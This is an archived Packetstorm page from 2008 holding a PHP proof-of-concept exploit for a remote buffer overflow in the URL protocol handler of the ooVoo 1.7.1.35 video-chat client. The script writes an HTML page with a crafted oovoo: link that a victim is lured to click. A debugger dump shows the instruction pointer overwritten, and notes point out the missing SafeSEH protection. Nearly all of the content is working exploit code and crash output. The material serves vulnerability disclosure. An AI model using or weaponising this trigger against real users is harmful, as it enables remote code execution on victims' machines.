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oovoo-overflow.txt

🗓️ 11 Nov 2008 00:00:00Reported by Nine:Situations:GroupType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

ooVoo 1.7.1.35 remote buffer overflow in URL Protoco

Code
`<?php  
/*  
ooVoo 1.7.1.35 (URL Protocol) remote unicode buffer overflow poc  
by Nine:Situations:Group::bruiser  
tested against IE8b/xp sp3  
  
9sg site: http://retrogod.altervista.org/  
  
software site: http://www.oovoo.com/  
description: ooVoo is a startup video conferencing and instant messaging  
application, similar to Skype Video.[1] ooVoo allows video chats with up to 6  
participants, and unlike Skype Video, does not use a P2P network.[..]  
  
faultmon dump of oovoo.exe processing the url given:  
...  
04:22:10.875 pid=0E10 tid=0C08 EXCEPTION (first-chance)  
----------------------------------------------------------------  
Exception C0000005 (ACCESS_VIOLATION reading [0000005A])  
----------------------------------------------------------------  
EAX=00000066: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EBX=00133D44: 6F 00 6F 00 76 00 6F 00-6F 00 3A 00 00 00 0F 00  
ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EDX=01D0DC28: 63 00 61 00 6C 00 6C 00-74 00 6F 00 3A 00 00 00  
ESP=00133D00: 12 4E 43 00 AA A8 39 06-FF FF FF FF 01 00 00 00  
EBP=00133F68: 63 00 63 00 63 00 64 00-64 00 64 00 64 00 65 00  
ESI=00133F84: 66 00 00 00 68 B6 A2 01-00 00 00 00 00 00 00 00  
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EIP=0040DF5A: 3B 48 F4 7F 16 52 8D 04-48 50 E8 89 9A 3F 00 83  
--> CMP ECX,[EAX-0C]  
----------------------------------------------------------------  
  
04:22:12.015 pid=0E10 tid=0C08 EXCEPTION (first-chance)  
----------------------------------------------------------------  
Exception C0000005 (ACCESS_VIOLATION writing [00000000])  
----------------------------------------------------------------  
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
ECX=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00  
EDX=7C9132BC: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00  
ESP=00133930: A8 32 91 7C 18 3A 13 00-5C 3F 13 00 34 3A 13 00  
EBP=00133950: 00 3A 13 00 7A 32 91 7C-18 3A 13 00 5C 3F 13 00  
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
EIP=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00  
--> ADD [EAX],AL  
----------------------------------------------------------------  
...  
  
additional notes:  
oovoo.exe, compiled with /SafeSEH=OFF  
  
reg key:  
HKEY_CLASSES_ROOT\ooVoo\shell\open\command  
"e:\oovoo\oovoo.exe" "%1"  
  
*/  
$bof="<html><a target=\"_blank\" href=\"oovoo:?" . str_repeat("\x0f",258).  
"bbbbaaaaccccddddeeeeffff".  
"\">click me</a></html>";  
$fp=fopen("oovoo_poc.html","w+");  
fputs($fp,$bof);  
fclose($fp);  
?>  
  
  
`

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